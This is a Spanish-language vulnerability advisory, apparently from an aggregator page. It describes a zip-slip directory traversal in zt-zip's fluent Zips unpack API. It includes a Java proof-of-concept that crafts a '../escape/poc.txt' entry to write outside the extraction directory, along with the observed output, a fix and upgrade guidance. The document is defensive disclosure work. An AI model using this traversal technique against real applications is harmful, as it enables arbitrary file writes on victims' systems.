zt-zip: Salto de directorio en la API fluida de descompresión
Resumen
ZipUtil.unpack(...) rechaza entradas ZIP que escapan del directorio de destino, pero la API fluida Zips parece utilizar una implementación de descompresión independiente que no aplica la misma verificación de límites de destino.
Una entrada ZIP como:
../escape/poc.txt
se escribe fuera del directorio de destino configurado cuando se procesa con:
Zips.get(zip).unpack().destination(outputDir).process();
La rama del transformador también se ve afectada.
Versión probada
commit: 067935dca375500d3ff025aafcdf0e4283931b1a
Causa raíz
En src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) genera el archivo de salida directamente a partir del nombre de la entrada ZIP:
String entryName = zipEntry.getName();
File file = new File(destination, entryName);
Posteriormente, el método crea directorios/archivos y copia el contenido a esa ruta:
FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);
Cuando se configura un transformador, se pasa el mismo file a transformIntoFile(...).
No parece existir una comprobación de ruta canónica antes de estas escrituras en el sistema de archivos, por lo que las entradas con ../ pueden resolverse fuera de destination.
Reproducción mínima
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;
import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;
public class ZipsTraversalPoc {
public static void main(String[] args) throws Exception {
Path work = Files.createTempDirectory("ztzip-zips-poc");
Path zip = work.resolve("poc.zip");
Path escaped = work.resolve("escape").resolve("poc.txt");
String entryName = "../escape/poc.txt";
Files.createDirectories(escaped.getParent());
try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
zos.putNextEntry(new ZipEntry(entryName));
zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
zos.closeEntry();
}
Path zipUtilOut = work.resolve("ziputil-out");
Files.createDirectories(zipUtilOut);
try {
ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
System.out.println("ZIPUTIL_REJECTED=false");
}
catch (Throwable t) {
System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
}
System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));
Files.deleteIfExists(escaped);
Path zipsOut = work.resolve("zips-out");
Files.createDirectories(zipsOut);
Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));
Files.deleteIfExists(escaped);
Path zipsTransformOut = work.resolve("zips-transform-out");
Files.createDirectories(zipsTransformOut);
Zips.get(zip.toFile())
.unpack()
.destination(zipsTransformOut.toFile())
.addTransformer(entryName, new ZipEntryTransformer() {
public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
out.putNextEntry(new ZipEntry(entry.getName()));
out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
out.closeEntry();
}
})
.process();
System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
}
}
Salida observada:
ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true
Comportamiento esperado
Zips.get(zip).unpack().destination(outputDir).process() debería rechazar las entradas con salto de directorio o asegurar de otro modo que la ruta de salida resuelta permanezca dentro de outputDir.
Impacto
Las aplicaciones que descomprimen archivos ZIP controlados por atacantes mediante la API fluida Zips pueden permitir escrituras arbitrarias de archivos fuera del directorio de extracción previsto, dependiendo de los permisos del sistema de archivos y del diseño de la aplicación.
Solución sugerida
Aplicar la misma validación de límites de destino utilizada por ZipUtil.unpack(...) antes de cualquier escritura en el sistema de archivos en Zips.UnpackingCallback.process(...).
Por ejemplo, comparar valores canónicos de Path antes de crear directorios o archivos:
file.getCanonicalFile().toPath()
.startsWith(destination.getCanonicalFile().toPath())
Las pruebas de regresión deberían cubrir ambos casos:
Zips.get(zip).unpack().destination(out).process();
Zips.get(zip).unpack().destination(out).addTransformer(...).process();
Qué hacer
Actualice org.zeroturnaround:zt-zip a la versión 1.18.0 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Java / Kotlin (Maven) | org.zeroturnaround:zt-zip | < 1.18.0 | 1.18.0 |
Referencias
- https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-52c6-99qm-3hqr
- https://nvd.nist.gov/vuln/detail/CVE-2026-63436
- https://github.com/zeroturnaround/zt-zip/pull/180
- https://github.com/zeroturnaround/zt-zip/commit/59a76ad576b0fcd50ea018e3608afb946c1492fd
- https://github.com/zeroturnaround/zt-zip
- https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.0
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L- Debilidad (CWE)
CWE-22- Plataforma
- Java / Kotlin (Maven)
- Paquete
org.zeroturnaround:zt-zip- Publicada
- 09.11.2026
- Actualizado
- 10.11.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-52c6-99qm-3hqr - CC BY 4.0
Historial de vulnerabilidades: org.zeroturnaround:zt-zip
Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 3
- Primera → última
- 05.2022 11.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 1
- Media 2
Divulgaciones por año
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 2
-
zt-zip: Salto de directorio en la API fluida de descompresión esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.